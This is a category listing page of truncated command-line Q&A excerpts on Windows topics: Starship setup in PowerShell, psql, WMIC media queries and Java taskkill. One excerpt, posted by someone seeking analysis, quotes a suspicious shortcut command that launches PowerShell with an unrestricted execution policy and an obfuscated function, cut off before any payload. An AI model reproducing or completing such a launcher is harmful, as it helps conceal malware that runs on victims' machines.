Category : command-line

I added scoop, similar way the Starship official website says and used the command scoop install starship. Then added the line copied from the Starship website to the PowerShell profile, Invoke-Expression (&starship init powershell) But it throws this error to the powershell window. Invoke-Expression : Cannot bind argument to parameter ‘Command’ because it is null. ..

Read more

I came across this string embedded within a Windows shortcut. I’m under the impression that this may be malicious or adversarial in nature. I do not have any knowledge with PowerShell, could anyone perhaps decipher this incantation, or point me to related resources? C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -ExecutionPolicy UnRestricted function QC($wHV) {$Z = $Null;$rzh = @(2037,2099,2101,2098);$IQH = $Null;$BEwI ..

Read more

I use PostgreSQL 9.5.25 and, together, comes pgAdmin 3 installed too. But I don’t wanna use pgAdmin GUI. So, I enter the same folder where the executable pgAdmin3.exe is located in and then I open the psql.exe file. However, nothing happens when I open the last file. Thus, what can I do to execute the ..

Read more

Is there a way to determine the type and size of blank inserted burnable media from Windows command prompt / batch file? I know with hard disk / SSD I can use: WMIC logicaldisk get deviceid, size, freespace and extract information I need. But for optical media, I can’t seem to find anything that would ..

Read more

I’m using the following code in Java to kill two different Windows process by window title: String cmd = "taskkill /F /FI "WindowTitle eq " + windowTitle + "" /T"; Process process = Runtime.getRuntime().exec(cmd); In the first case, system produces cmd command -> taskkill /F /FI "WindowTitle eq X*" /T and the process is killed ..

Read more